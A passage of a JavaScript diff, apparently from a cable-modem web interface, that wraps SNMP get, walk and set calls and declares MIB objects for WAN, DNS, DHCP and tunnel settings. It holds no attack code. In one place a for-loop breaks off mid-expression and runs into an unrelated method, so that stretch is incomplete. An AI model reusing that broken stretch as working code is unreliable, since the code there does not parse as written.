MIB_Str+=MIB_JSON2Str(MIB_objs_2); + MIB_Str="{"+MIB_Str+"}"; + MIB_Result=eval('('+MIB_Str+')'); + if(!force_multi) + { + MIB_Result=MIB_reduceArray(MIB_Result); + } + return MIB_Result; +} + + + +function bulkLoad(load_func) { + bulkLoading = true; + bulkList = []; + load_func(); + bulkLoading = false; + if (bulkList.length === 0) + return; + var oids = []; + _.each(bulkList, function (oid, index) { + oids.push(oid); + if (oids.length === 20 || index === (bulkList.length-1)) { + var v = snmpGet(oids); + _.each(v, function (val, key) { + walk[key] = val; + }); + oids = []; + } + }); +} + +function sliceOid(oid, start, end) { + var oids = oid.split("."); + if (start < 0) { + start = oids.length + start; + end = oids.length; + } else { + end = (end === undefined ? oids.length : end); + } + if (end < 0) { + end = oids.length + end; + } + return _(oids.slice(start, end)).reduce(function(acc, next) { + return acc ? acc + "." + next : next; + }); +} + +//function getWalkOids(targetOid) { +// $.each(oidMap, function(oid,def) { +// if (!oid.startsWith(target)) +// return; +// +// +// }); +//} + +if (window["preWalk"]) + walk = window["preWalk"]; + +function afterLoad(f) { + { + f.loaded = true; + if (f.afterLoad) f.afterLoad(); + } +} +function load1(f, json) { + if (json === undefined) + json = snmpWalk([ f.oid ]); + // json = JSON.parse(json || "{ }"); + _(json).each(function(val, oid) { + walk[oid] = val; + }); + { + f.loaded = true; + if (f.afterLoad) f.afterLoad(); + } +} + +var loadLogData = ""; + +function loadLogger(l) { + if (window.console) console.log(l); + if (debug()&2 && !(l.contains("assword", "TAC","RadiusKey")) ) + loadLogData += (l+"
    "); +} + +function load() { + loadLogData = ""; + var args = _(_.toArray(arguments)); + if (!window["preWalk"]) { + var oids = args.map(function(f) { + return f.oid; + }); + var json = snmpWalk(oids); + // json = JSON.parse(json || "{ }"); + _(json).each(function(val, oid) { + walk[oid] = val; + }); + } + args.each(function(f) { + f.loaded = true; + if (f.afterLoad) f.afterLoad(); + }) + loadRowStatus(); + +// mb +// args.each(function(f) { +// f.dump(loadLogger); +// }) +// if (debug()&2) +// afterBuild( function() { +// showWalk(loadLogData); +// }); + +} + +function loadFake() { + var args = _(_.toArray(arguments)); + args.each(function(f) { + f.loaded = true; + if (f.afterLoad) f.afterLoad(); + }) +} +function loadOids(oa) { + function doget(a) { + var json = snmpWalk(a); + // json = JSON.parse(json || "{ }"); + _(json).each(function(val, oid) { + walk[oid] = val; + }); + } + + var soa = [ ]; + _.each(oa, function(o) { + soa.push(o); + if (soa.length > 5) { + doget(soa); + soa = [ ]; + } + }); + if (soa.length) + doget(soa); +} + + +function store() { + MibObjects.ApplyAllSettings.set(1); + refresh(); +} + +function listAccessed() { + _.each(_.extend({}, container, table), function(f) { + if (f.accessed) if (window.console) console.log(f.name); + }); +} + +function decodeOid(oid) { + var d = ""; + var match = { oid: "" }; + _.each(_.extend({}, container, table), function(f) { + _.each(f.children, function(e) { + if (oid.startsWith(e.oid + ".") && e.oid.length > match.oid.length) { + match = e; + } + }) + }); + //d = e.name+oid.substr(e.oid.length); + return match.oid ? match.name + oid.substr(match.oid.length) : "???" + oid; +} + +function decodeOid(oid) { + var d = ""; + var match = { oid: "" }; + _.each(_.extend({}, container, table), function(f) { + _.each(f.children, function(e) { + if (oid.startsWith(e.oid + ".") && e.oid.length > match.oid.length) { + match = e; + } + }) + }); + //d = e.name+oid.substr(e.oid.length); + return match.oid ? match.name + oid.substr(match.oid.length) : "???" + oid; +} + + + +function dumpOidsRead() { + _.each(oidsRead, function(o) { + if (window.console) console.log(o); + }); +} + + +function oidValuesEqual(a,b) { + if ((""+a).startsWith("$") && (""+b).startsWith("$")) { + return a.replace(/ /g,"") === b.replace(/ /g,"") + } + return a == b; +} + + +function Container(name, oid) { + this.name = name; + this.oid = oid; + mib[oid] = this; + container[oid] = this; + this.parent = mib[sliceOid(oid, 0, -1)]; + if (this.parent) + this.parent.children.push(this); + //$.log("container "+name+" parent "+(this.parent ? this.parent.name : "ROOT")); + this.children = [ ]; + this.loaded = false; + this.accessed = false; + this.dump = function(f) { + var or = oidsRead.slice(0); + if (f === undefined) + f = $.log; + accessed = this.accessed; + f(name + " ==============="); + _.each(this.children, function(v) { + if (v !== undefined && v.scalar) + f(v.name + ":" + v.get()); + }); + this.accessed = accessed; + oidsRead = or; + }; + this.json = function() { + return { name:this.name,type:"container",oid:this.oid, + children: _.map(this.children, function(f) { + return f.json(); + }) }; + } +} + +function Table(name, oid) { + this.oid = oid; + this.name = name; + mib[oid] = this; + table[oid] = this; + this.parent = mib[sliceOid(oid, 0, -1)]; + if (this.parent) + this.parent.children.push(this); + //$.log("table "+name+" parent "+(this.parent ? this.parent.name : "???")); + this.key = []; + this.children = [ ]; + this.loaded = false; + this.accessed = false; + this.rowStatus = null; + this.rowVisible = function(key) { + var vis = true; + if (this.rowStatus) { + vis = this.rowStatus.getOid(key) <= 2;/* 2: not in service 1: active */ + if (!vis) + if (window.console) console.log(name+"."+key+" not visible: "+this.rowStatus.getOid(key));// + } + return vis; + }; + this.length = function() { + return this.key.length; + }; + this.afterLoad = function() { + var hash = { }; + _.each(walk, function(v, k) { + if (k.startsWith(oid + ".")) { + //key = sliceOid(k.substr(oid.length+1),2); + //var tableoid = sliceOid(k,0,-2); + var testKey = sliceOid(k.substr(oid.length + 1), 2); + if (testKey && !hash[testKey]) { + hash[testKey] = testKey; + this.key.push(testKey); + } + } + }, this); + this.loaded = true; + loadRowStatus(); + } + this.dumpGroupRow = true; + this.dump = function(f) { + var or = oidsRead.slice(0); + if (f === undefined) + f = $.log; + accessed = this.accessed; + var rv = ""; + for (var i = 0; i < this.length(); i++) { + rv += this.key[i] + ";"; + } + f("table " + name + " size=" + this.length() + " " + rv); + var rv = ""; + for (var i = 0; i < this.length(); i++) { + $.each(this.children, function(k, v) { + if (v.get(i)) { + rv += (v.name + ":" + v.get(i) + ";"); + if (!this.dumpGroupRow) { + f("===" + this.table.key[i] + "==>" + rv); + rv = ""; + } + } + }); + if (rv.length && this.dumpGroupRow) + f("===" + this.key[i] + "==>" + rv); + } + this.accessed = accessed; + oidsRead = or; + f("rowStatus: "+ (this.rowStatus ? this.rowStatus.name : "")); + } + this.json = function() { + return { name:this.name,type:"table",oid:this.oid, + children: _.map(this.children, function(f) { + return f.json(); + }) }; + } + this.getTable = function(cola, func) { + if (walk[this.oid] === undefined) { + walk[this.oid] = ""; + _.extend(walk, snmpWalk([this.oid])); + this.afterLoad(); + } + else if (0 == this.oid.indexOf(MtaDevVqmMetricTable.oid)) + { + walk[this.oid] = ""; + _.extend(walk, snmpWalk([this.oid])); + this.key.splice(0,this.key.length); + this.afterLoad(); + + } + else if (0 == this.oid.indexOf(MtaDevVqmCallNumberTable.oid)) + { + walk[this.oid] = ""; + _.extend(walk, snmpWalk([this.oid])); + this.key.splice(0,this.key.length); + this.afterLoad(); + } + else if (0 == this.oid.indexOf(MACAccessTable.oid)) + { + walk[this.oid] = ""; + _.extend(walk, snmpWalk([this.oid])); + this.key.splice(0,this.key.length); + this.afterLoad(); + } + var or = oidsRead.slice(0); + var table = [ ]; + if (!cola) + cola = this.children; + for (var i = 0; i < this.length(); i++) { + if (!this.rowVisible(this.key[i])) + continue; + var row = []; + _.each(cola, function(c) { + val0=c.get(c.table.key[i]); + if (c.type==4) + { + //val2=convertHexStringToASCIIString(val0); + //if (c.compo==1) + { + val2=val0; + } + } + else + val2=val0; + //luis add + if(val2.toUpperCase()=="NO SUCH OBJECT") + val2=""; + //luis add end + + row.push(val2); + + }); + if (func) { + row = func(i, row, this.key[i]); + if (row) + table.push(row); + } + else table.push(row); + } + oidsRead = or; + return table; + } + + this.getTableFromJson = function(json_obj,cola, func) { + //walk[this.oid]=json_obj[this.name]; + _.extend(walk,json_obj[this.name]); + this.afterLoad(); + var or = oidsRead.slice(0); + var table = [ ]; + if (!cola) + cola = this.children; + for (var i = 0; i < this.length(); i++) { + if (!this.rowVisible(this.key[i])) + continue; + var row = []; + _.each(cola, function(c) { + val0=c.get(c.table.key[i]); + if (c.type==4) + { + //val2=convertHexStringToASCIIString(val0); + //if (c.compo==1) + { + val2=val0; + } + } + else + val2=val0; + row.push(val2); + }); + if (func) { + row = func(i, row, this.key[i]); + if (row) + table.push(row); + } + else table.push(row); + } + oidsRead = or; + return table; + } + + this.getMultiTable = function(tables_oid) { + var temp_str=""; + var MIB_Result; + var MultiTable=[ ]; + var tablecount=tables_oid.length,i; + for(i=0;i this.table.key.length) + if (window.console) console.log("index " + index + " out of range for " + table.name); + return this.table.key[index] || ""; + } + this.get = function(index, index2) { + if (!index || index.asInt() === 0) + if (window.console) console.log("old style index get "+name+" "+index); + if (index2 !== undefined) + index += "."+index2; + var oid = this.oid+"."+index; + + if (bulkLoading) { + bulkList.push(oid); + return; + } + + if (walk[oid] === undefined) + { + walk[oid] = decodeURIComponent(snmpGet1(oid) || ""); + return walk[oid]; + } + else + { + //$.each(walk, function(v, k) { + // k=decodeURIComponent(v); + //}); + return walk[oid]; + } + if (arguments.length !== 1) + alert("expected index for column " + this.name); + if (!this.table.loaded) + alert(this.table.name + " not loaded"); + this.table.accessed = true; + if (index < 0 || index > this.table.key.length) { + if (window.console) console.log("index " + index + " out of existing range for " + table.name); + oidsRead.push(oid + "." + (parseInt(index) + 1)); + return walk[oid + "." + (parseInt(index) + 1)] || ""; + } + oidsRead.push(oid + "." + this.table.key[index]); + return walk[oid + "." + this.table.key[index]] || ""; + } + this.getOid = function(index) { + if (arguments.length !== 1) + alert("expected index for column " + this.name); + if (!this.table.loaded) + alert(this.table.name + " not loaded"); + oidsRead.push(oid + "." + index); + if (window.console) console.log(this.name+"."+index+" = "+walk[oid + "." + index] || ""); + return walk[oid + "." + index] || ""; + } + + this.set = function(index, value, label) { + try { + snmpSet1(this.oid + "."+index, value, this.type); + } catch (e) { + if (e == "unauthorized") + refresh(); + else if (label) + throw { oid:this.oid + index, label:label }; + throw e; + } + return; + + + if (v !== undefined) + throw "this.set v WAS set"; + + if (!index || index.asInt() === 0) + throw "old style index set "+name+" "+index; + if (v !== undefined) { + index += "."+index2; + } else { + v = index2; + } + + if (arguments.length < 2) + alert("expected index for column " + this.name); + + stores.push({oid: this.oid + "."+index,value:v, type:this.type}); + return; + + if (!this.table.loaded) + alert(this.table.name + " not loaded"); + var oid = this.oid; + if (index < 0 || index > this.table.key.length) { + if (window.console) console.log("index " + index + " out of existing range for " + table.name); + oid += "." + (parseInt(index) + 1); + } else { + oid = this.oid + "." + this.getKey(index); + } + // if (!oidValuesEqual(this.get(index), v)) { + if (window.console) console.log("set " + name + "." + this.getKey(index) + ":" + v); + stores.push({oid:oid,value:v, type:this.type}); + // } + // else $.log(name + " (" + oid + ") not changed " + v); + }; + this.asyn_set = function(index, value, label) { + try { + snmpSet1Async(this.oid + "."+index, value, this.type); + } catch (e) { + if (e == "unauthorized") + refresh(); + else if (label) + throw { oid:this.oid + index, label:label }; + throw e; + } + return; + + + if (v !== undefined) + throw "this.set v WAS set"; + + if (!index || index.asInt() === 0) + throw "old style index set "+name+" "+index; + if (v !== undefined) { + index += "."+index2; + } else { + v = index2; + } + + if (arguments.length < 2) + alert("expected index for column " + this.name); + + stores.push({oid: this.oid + "."+index,value:v, type:this.type}); + return; + + if (!this.table.loaded) + alert(this.table.name + " not loaded"); + var oid = this.oid; + if (index < 0 || index > this.table.key.length) { + if (window.console) console.log("index " + index + " out of existing range for " + table.name); + oid += "." + (parseInt(index) + 1); + } else { + oid = this.oid + "." + this.getKey(index); + } + // if (!oidValuesEqual(this.get(index), v)) { + if (window.console) console.log("set " + name + "." + this.getKey(index) + ":" + v); + stores.push({oid:oid,value:v, type:this.type}); + // } + // else $.log(name + " (" + oid + ") not changed " + v); + }; + // this.setOid = function(index, v) { + // if (arguments.length !== 2) + // alert("expected index for column " + this.name); + // if (!oidValuesEqual(this.get(index), v)) { + // $.log("setOid " + name + "." + index + ":" + v); + // stores.push({oid:this.oid + "." + index,value:v, type:this.type}); + // } + // else $.log(name + "." + index + " not changed " + v); + // }; + + this.defined = function(index) { + if (index === undefined || index < 0 || index > this.table.key.length) + return false; + return walk[oid + "." + this.table.key[index]] !== undefined; + } + this.json = function() { + return { name:this.name,type:"column",oid:this.oid }; + } +} +var Mib = new Container("Mib", "1.3.6.1.4.1.4115.1.20.1"); + +var MibObjects = new Container("MibObjects", "1.3.6.1.4.1.4115.1.20.1.1"); +MibObjects.ApplyAllSettings= new Scalar("ApplyAllSettings","1.3.6.1.4.1.4115.1.20.1.1.9",2); +var arApplyAllSettings=MibObjects.ApplyAllSettings; + +var WanConfig = new Container("WanConfig", "1.3.6.1.4.1.4115.1.20.1.1.1"); +WanConfig.WanConnType= new Scalar("WanConnType","1.3.6.1.4.1.4115.1.20.1.1.1.1",2); +WanConfig.WanConnHostName= new Scalar("WanConnHostName","1.3.6.1.4.1.4115.1.20.1.1.1.2",4); +WanConfig.WanConnDomainName= new Scalar("WanConnDomainName","1.3.6.1.4.1.4115.1.20.1.1.1.3",4); +WanConfig.WanMTUSize= new Scalar("WanMTUSize","1.3.6.1.4.1.4115.1.20.1.1.1.4",66); +WanConfig.WanApply= new Scalar("WanApply","1.3.6.1.4.1.4115.1.20.1.1.1.5",2); +WanConfig.WanStaticFreeIdx= new Scalar("WanStaticFreeIdx","1.3.6.1.4.1.4115.1.20.1.1.1.8",66); +WanConfig.WanIFMacAddr= new Scalar("WanIFMacAddr","1.3.6.1.4.1.4115.1.20.1.1.1.13",4, 1); +WanConfig.WanInterface= new Scalar("WanInterface","1.3.6.1.4.1.4115.1.20.1.1.1.14",2); +WanConfig.WanConnTypeV6= new Scalar("WanConnTypeV6","1.3.6.1.4.1.4115.1.20.1.1.1.16",2); +WanConfig.WanIPProvMode= new Scalar("WanIPProvMode","1.3.6.1.4.1.4115.1.20.1.1.1.17",2); +var arWanConnType=WanConfig.WanConnType; +var arWanConnHostName=WanConfig.WanConnHostName; +var arWanConnDomainName=WanConfig.WanConnDomainName; +var arWanMTUSize=WanConfig.WanMTUSize; +var arWanApply=WanConfig.WanApply; +var arWanStaticFreeIdx=WanConfig.WanStaticFreeIdx; +var arWanIFMacAddr=WanConfig.WanIFMacAddr; +var arWanInterface=WanConfig.WanInterface; +var arWanConnTypeV6=WanConfig.WanConnTypeV6; +var arWanIPProvMode=WanConfig.WanIPProvMode; + +var WanCurrentTable = new Table("WanCurrentTable", "1.3.6.1.4.1.4115.1.20.1.1.1.7"); +WanCurrentTable.WanCurrentIPIndex = new Column("WanCurrentIPIndex","1.3.6.1.4.1.4115.1.20.1.1.1.7.1.1",66); +WanCurrentTable.WanCurrentIPAddrType = new Column("WanCurrentIPAddrType","1.3.6.1.4.1.4115.1.20.1.1.1.7.1.2",2); +WanCurrentTable.WanCurrentIPAddr = new Column("WanCurrentIPAddr","1.3.6.1.4.1.4115.1.20.1.1.1.7.1.3",4, 1); +WanCurrentTable.WanCurrentPrefix = new Column("WanCurrentPrefix","1.3.6.1.4.1.4115.1.20.1.1.1.7.1.4",66); +WanCurrentTable.WanCurrentGWType = new Column("WanCurrentGWType","1.3.6.1.4.1.4115.1.20.1.1.1.7.1.5",2); +WanCurrentTable.WanCurrentGW = new Column("WanCurrentGW","1.3.6.1.4.1.4115.1.20.1.1.1.7.1.6",4, 1); +WanCurrentTable.WanCurrentIPType = new Column("WanCurrentIPType","1.3.6.1.4.1.4115.1.20.1.1.1.7.1.7",2); +WanCurrentTable.WanCurrentNetMask = new Column("WanCurrentNetMask","1.3.6.1.4.1.4115.1.20.1.1.1.7.1.8",4, 1); +WanCurrentTable.WanCurrentPrefixDelegationV6 = new Column("WanCurrentPrefixDelegationV6","1.3.6.1.4.1.4115.1.20.1.1.1.7.1.9",4, 1); +WanCurrentTable.WanCurrentPrefixDelegationV6Len = new Column("WanCurrentPrefixDelegationV6Len","1.3.6.1.4.1.4115.1.20.1.1.1.7.1.10",66); +WanCurrentTable.WanCurrentPreferredLifetimeV6 = new Column("WanCurrentPreferredLifetimeV6","1.3.6.1.4.1.4115.1.20.1.1.1.7.1.11",2); +WanCurrentTable.WanCurrentValidLifetimeV6 = new Column("WanCurrentValidLifetimeV6","1.3.6.1.4.1.4115.1.20.1.1.1.7.1.12",2); +var arWanCurrentIPIndex=WanCurrentTable.WanCurrentIPIndex; +var arWanCurrentIPAddrType=WanCurrentTable.WanCurrentIPAddrType; +var arWanCurrentIPAddr=WanCurrentTable.WanCurrentIPAddr; +var arWanCurrentPrefix=WanCurrentTable.WanCurrentPrefix; +var arWanCurrentGWType=WanCurrentTable.WanCurrentGWType; +var arWanCurrentGW=WanCurrentTable.WanCurrentGW; +var arWanCurrentIPType=WanCurrentTable.WanCurrentIPType; +var arWanCurrentNetMask=WanCurrentTable.WanCurrentNetMask; +var arWanCurrentPrefixDelegationV6=WanCurrentTable.WanCurrentPrefixDelegationV6; +var arWanCurrentPrefixDelegationV6Len=WanCurrentTable.WanCurrentPrefixDelegationV6Len; +var arWanCurrentPreferredLifetimeV6=WanCurrentTable.WanCurrentPreferredLifetimeV6; +var arWanCurrentValidLifetimeV6=WanCurrentTable.WanCurrentValidLifetimeV6; + +var WanStaticTable = new Table("WanStaticTable", "1.3.6.1.4.1.4115.1.20.1.1.1.9"); +WanStaticTable.WanStaticIPIndex = new Column("WanStaticIPIndex","1.3.6.1.4.1.4115.1.20.1.1.1.9.1.1",66); +WanStaticTable.WanStaticIPAddrType = new Column("WanStaticIPAddrType","1.3.6.1.4.1.4115.1.20.1.1.1.9.1.2",2); +WanStaticTable.WanStaticIPAddr = new Column("WanStaticIPAddr","1.3.6.1.4.1.4115.1.20.1.1.1.9.1.3",4, 1); +WanStaticTable.WanStaticPrefix = new Column("WanStaticPrefix","1.3.6.1.4.1.4115.1.20.1.1.1.9.1.4",66); +WanStaticTable.WanStaticGatewayType = new Column("WanStaticGatewayType","1.3.6.1.4.1.4115.1.20.1.1.1.9.1.5",2); +WanStaticTable.WanStaticGateway = new Column("WanStaticGateway","1.3.6.1.4.1.4115.1.20.1.1.1.9.1.6",4, 1); +WanStaticTable.WanStaticRowStatus = new Column("WanStaticRowStatus","1.3.6.1.4.1.4115.1.20.1.1.1.9.1.7",2); +WanStaticTable.WanDelegatedPrefixLength = new Column("WanDelegatedPrefixLength","1.3.6.1.4.1.4115.1.20.1.1.1.9.1.8",66); +WanStaticTable.WanDelegatedPrefix = new Column("WanDelegatedPrefix","1.3.6.1.4.1.4115.1.20.1.1.1.9.1.9",4, 1); +var arWanStaticIPIndex=WanStaticTable.WanStaticIPIndex; +var arWanStaticIPAddrType=WanStaticTable.WanStaticIPAddrType; +var arWanStaticIPAddr=WanStaticTable.WanStaticIPAddr; +var arWanStaticPrefix=WanStaticTable.WanStaticPrefix; +var arWanStaticGatewayType=WanStaticTable.WanStaticGatewayType; +var arWanStaticGateway=WanStaticTable.WanStaticGateway; +var arWanStaticRowStatus=WanStaticTable.WanStaticRowStatus; +var arWanDelegatedPrefixLength=WanStaticTable.WanDelegatedPrefixLength; +var arWanDelegatedPrefix=WanStaticTable.WanDelegatedPrefix; + +var WanTunnelObjects = new Container("WanTunnelObjects", "1.3.6.1.4.1.4115.1.20.1.1.1.10"); +WanTunnelObjects.WanUserName= new Scalar("WanUserName","1.3.6.1.4.1.4115.1.20.1.1.1.10.1",4); +WanTunnelObjects.WanPassword= new Scalar("WanPassword","1.3.6.1.4.1.4115.1.20.1.1.1.10.2",4); +WanTunnelObjects.WanEnableIdleTimeout= new Scalar("WanEnableIdleTimeout","1.3.6.1.4.1.4115.1.20.1.1.1.10.3",2); +WanTunnelObjects.WanIdleTimeout= new Scalar("WanIdleTimeout","1.3.6.1.4.1.4115.1.20.1.1.1.10.4",66); +WanTunnelObjects.WanTunnelAddrType= new Scalar("WanTunnelAddrType","1.3.6.1.4.1.4115.1.20.1.1.1.10.5",2); +WanTunnelObjects.WanTunnelAddr= new Scalar("WanTunnelAddr","1.3.6.1.4.1.4115.1.20.1.1.1.10.6",4, 1); +WanTunnelObjects.WanTunnelHostName= new Scalar("WanTunnelHostName","1.3.6.1.4.1.4115.1.20.1.1.1.10.7",4); +WanTunnelObjects.WanEnableKeepAlive= new Scalar("WanEnableKeepAlive","1.3.6.1.4.1.4115.1.20.1.1.1.10.8",2); +WanTunnelObjects.WanKeepAliveTimeout= new Scalar("WanKeepAliveTimeout","1.3.6.1.4.1.4115.1.20.1.1.1.10.9",66); +var arWanUserName=WanTunnelObjects.WanUserName; +var arWanPassword=WanTunnelObjects.WanPassword; +var arWanEnableIdleTimeout=WanTunnelObjects.WanEnableIdleTimeout; +var arWanIdleTimeout=WanTunnelObjects.WanIdleTimeout; +var arWanTunnelAddrType=WanTunnelObjects.WanTunnelAddrType; +var arWanTunnelAddr=WanTunnelObjects.WanTunnelAddr; +var arWanTunnelHostName=WanTunnelObjects.WanTunnelHostName; +var arWanEnableKeepAlive=WanTunnelObjects.WanEnableKeepAlive; +var arWanKeepAliveTimeout=WanTunnelObjects.WanKeepAliveTimeout; + +var WanDNSObjects = new Container("WanDNSObjects", "1.3.6.1.4.1.4115.1.20.1.1.1.11"); +WanDNSObjects.WanUseAutoDNS= new Scalar("WanUseAutoDNS","1.3.6.1.4.1.4115.1.20.1.1.1.11.1",2); +WanDNSObjects.WanStaticDNSFreeIdx= new Scalar("WanStaticDNSFreeIdx","1.3.6.1.4.1.4115.1.20.1.1.1.11.3",66); +var arWanUseAutoDNS=WanDNSObjects.WanUseAutoDNS; +var arWanStaticDNSFreeIdx=WanDNSObjects.WanStaticDNSFreeIdx; + +var WanCurrentDNSTable = new Table("WanCurrentDNSTable", "1.3.6.1.4.1.4115.1.20.1.1.1.11.2"); +WanCurrentDNSTable.WanCurrentDNSIPIndex = new Column("WanCurrentDNSIPIndex","1.3.6.1.4.1.4115.1.20.1.1.1.11.2.1.1",66); +WanCurrentDNSTable.WanCurrentDNSIPAddrType = new Column("WanCurrentDNSIPAddrType","1.3.6.1.4.1.4115.1.20.1.1.1.11.2.1.2",2); +WanCurrentDNSTable.WanCurrentDNSIPAddr = new Column("WanCurrentDNSIPAddr","1.3.6.1.4.1.4115.1.20.1.1.1.11.2.1.3",4, 1); +var arWanCurrentDNSIPIndex=WanCurrentDNSTable.WanCurrentDNSIPIndex; +var arWanCurrentDNSIPAddrType=WanCurrentDNSTable.WanCurrentDNSIPAddrType; +var arWanCurrentDNSIPAddr=WanCurrentDNSTable.WanCurrentDNSIPAddr; + +var WanStaticDNSTable = new Table("WanStaticDNSTable", "1.3.6.1.4.1.4115.1.20.1.1.1.11.4"); +WanStaticDNSTable.WanStaticDNSIPIndex = new Column("WanStaticDNSIPIndex","1.3.6.1.4.1.4115.1.20.1.1.1.11.4.1.1",66); +WanStaticDNSTable.WanStaticDNSIPAddrType = new Column("WanStaticDNSIPAddrType","1.3.6.1.4.1.4115.1.20.1.1.1.11.4.1.2",2); +WanStaticDNSTable.WanStaticDNSIPAddr = new Column("WanStaticDNSIPAddr","1.3.6.1.4.1.4115.1.20.1.1.1.11.4.1.3",4, 1); +WanStaticDNSTable.WanStaticDNSRowStatus = new Column("WanStaticDNSRowStatus","1.3.6.1.4.1.4115.1.20.1.1.1.11.4.1.4",2); +var arWanStaticDNSIPIndex=WanStaticDNSTable.WanStaticDNSIPIndex; +var arWanStaticDNSIPAddrType=WanStaticDNSTable.WanStaticDNSIPAddrType; +var arWanStaticDNSIPAddr=WanStaticDNSTable.WanStaticDNSIPAddr; +var arWanStaticDNSRowStatus=WanStaticDNSTable.WanStaticDNSRowStatus; + +var WanDHCPObjects = new Container("WanDHCPObjects", "1.3.6.1.4.1.4115.1.20.1.1.1.12"); +WanDHCPObjects.WanRenewLease= new Scalar("WanRenewLease","1.3.6.1.4.1.4115.1.20.1.1.1.12.1",2); +WanDHCPObjects.WanReleaseLease= new Scalar("WanReleaseLease","1.3.6.1.4.1.4115.1.20.1.1.1.12.2",2); +WanDHCPObjects.WanDHCPDuration= new Scalar("WanDHCPDuration","1.3.6.1.4.1.4115.1.20.1.1.1.12.3",66); +WanDHCPObjects.WanDHCPExpire= new Scalar("WanDHCPExpire","1.3.6.1.4.1.4115.1.20.1.1.1.12.4",4, 1); +WanDHCPObjects.WanRenewLeaseV6= new Scalar("WanRenewLeaseV6","1.3.6.1.4.1.4115.1.20.1.1.1.12.5",2); +WanDHCPObjects.WanReleaseLeaseV6= new Scalar("WanReleaseLeaseV6","1.3.6.1.4.1.4115.1.20.1.1.1.12.6",2); +WanDHCPObjects.WanDHCPDurationV6= new Scalar("WanDHCPDurationV6","1.3.6.1.4.1.4115.1.20.1.1.1.12.7",66); +WanDHCPObjects.WanDHCPExpireV6= new Scalar("WanDHCPExpireV6","1.3.6.1.4.1.4115.1.20.1.1.1.12.8",4, 1); +var arWanRenewLease=WanDHCPObjects.WanRenewLease; +var arWanReleaseLease=WanDHCPObjects.WanReleaseLease; +var arWanDHCPDuration=WanDHCPObjects.WanDHCPDuration; +var arWanDHCPExpire=WanDHCPObjects.WanDHCPExpire; +var arWanRenewLeaseV6=WanDHCPObjects.WanRenewLeaseV6; +var arWanReleaseLeaseV6=WanDHCPObjects.WanReleaseLeaseV6; +var arWanDHCPDurationV6=WanDHCPObjects.WanDHCPDurationV6; +var arWanDHCPExpireV6=WanDHCPObjects.WanDHCPExpireV6; + +var PrivateWanObjects = new Container("PrivateWanObjects", "1.3.6.1.4.1.4115.1.20.1.1.1.15"); +PrivateWanObjects.PrivateWanRenewLease= new Scalar("PrivateWanRenewLease","1.3.6.1.4.1.4115.1.20.1.1.1.15.1",2); +PrivateWanObjects.PrivateWanReleaseLease= new Scalar("PrivateWanReleaseLease","1.3.6.1.4.1.4115.1.20.1.1.1.15.2",2); +PrivateWanObjects.PrivateWanDHCPDuration= new Scalar("PrivateWanDHCPDuration","1.3.6.1.4.1.4115.1.20.1.1.1.15.3",66); +PrivateWanObjects.PrivateWanDHCPExpire= new Scalar("PrivateWanDHCPExpire","1.3.6.1.4.1.4115.1.20.1.1.1.15.4",4, 1); +PrivateWanObjects.PrivateWanCurrentIPAddrType= new Scalar("PrivateWanCurrentIPAddrType","1.3.6.1.4.1.4115.1.20.1.1.1.15.5",2); +PrivateWanObjects.PrivateWanCurrentIPAddr= new Scalar("PrivateWanCurrentIPAddr","1.3.6.1.4.1.4115.1.20.1.1.1.15.6",4, 1); +PrivateWanObjects.PrivateWanCurrentPrefix= new Scalar("PrivateWanCurrentPrefix","1.3.6.1.4.1.4115.1.20.1.1.1.15.7",66); +PrivateWanObjects.PrivateWanCurrentGWType= new Scalar("PrivateWanCurrentGWType","1.3.6.1.4.1.4115.1.20.1.1.1.15.8",2); +PrivateWanObjects.PrivateWanCurrentGW= new Scalar("PrivateWanCurrentGW","1.3.6.1.4.1.4115.1.20.1.1.1.15.9",4, 1); +PrivateWanObjects.PrivateWanCurrentNetMask= new Scalar("PrivateWanCurrentNetMask","1.3.6.1.4.1.4115.1.20.1.1.1.15.10",4, 1); +PrivateWanObjects.PrivateWanCurrentDomainName= new Scalar("PrivateWanCurrentDomainName","1.3.6.1.4.1.4115.1.20.1.1.1.15.11",4); +PrivateWanObjects.PrivateWanInterfaceName= new Scalar("PrivateWanInterfaceName","1.3.6.1.4.1.4115.1.20.1.1.1.15.12",4); +PrivateWanObjects.PrivateWanMacAddr= new Scalar("PrivateWanMacAddr","1.3.6.1.4.1.4115.1.20.1.1.1.15.13",4, 1); +var arPrivateWanRenewLease=PrivateWanObjects.PrivateWanRenewLease; +var arPrivateWanReleaseLease=PrivateWanObjects.PrivateWanReleaseLease; +var arPrivateWanDHCPDuration=PrivateWanObjects.PrivateWanDHCPDuration; +var arPrivateWanDHCPExpire=PrivateWanObjects.PrivateWanDHCPExpire; +var arPrivateWanCurrentIPAddrType=PrivateWanObjects.PrivateWanCurrentIPAddrType; +var arPrivateWanCurrentIPAddr=PrivateWanObjects.PrivateWanCurrentIPAddr; +var arPrivateWanCurrentPrefix=PrivateWanObjects.PrivateWanCurrentPrefix; +var arPrivateWanCurrentGWType=PrivateWanObjects.PrivateWanCurrentGWType; +var arPrivateWanCurrentGW=PrivateWanObjects.PrivateWanCurrentGW; +var arPrivateWanCurrentNetMask=PrivateWanObjects.PrivateWanCurrentNetMask; +var arPrivateWanCurrentDomainName=PrivateWanObjects.PrivateWanCurrentDomainName; +var arPrivateWanInterfaceName=PrivateWanObjects.PrivateWanInterfaceName; +var arPrivateWanMacAddr=PrivateWanObjects.PrivateWanMacAddr; + +var PrivateWanCurrentDNSTable = new Table("PrivateWanCurrentDNSTable", "1.3.6.1.4.1.4115.1.20.1.1.1.15.14"); +PrivateWanCurrentDNSTable.PrivateWanCurrentDNSIPIndex = new Column("PrivateWanCurrentDNSIPIndex","1.3.6.1.4.1.4115.1.20.1.1.1.15.14.1.1",66); +PrivateWanCurrentDNSTable.PrivateWanCurrentDNSIPAddrType = new Column("PrivateWanCurrentDNSIPAddrType","1.3.6.1.4.1.4115.1.20.1.1.1.15.14.1.2",2); +PrivateWanCurrentDNSTable.PrivateWanCurrentDNSIPAddr = new Column("PrivateWanCurrentDNSIPAddr","1.3.6.1.4.1.4115.1.20.1.1.1.15.14.1.3",4, 1); +var arPrivateWanCurrentDNSIPIndex=PrivateWanCurrentDNSTable.PrivateWanCurrentDNSIPIndex; +var arPrivateWanCurrentDNSIPAddrType=PrivateWanCurrentDNSTable.PrivateWanCurrentDNSIPAddrType; +var arPrivateWanCurrentDNSIPAddr=PrivateWanCurrentDNSTable.PrivateWanCurrentDNSIPAddr; + +var DSLiteWanObjects = new Container("DSLiteWanObjects", "1.3.6.1.4.1.4115.1.20.1.1.1.18"); +DSLiteWanObjects.DSLiteWanEnable= new 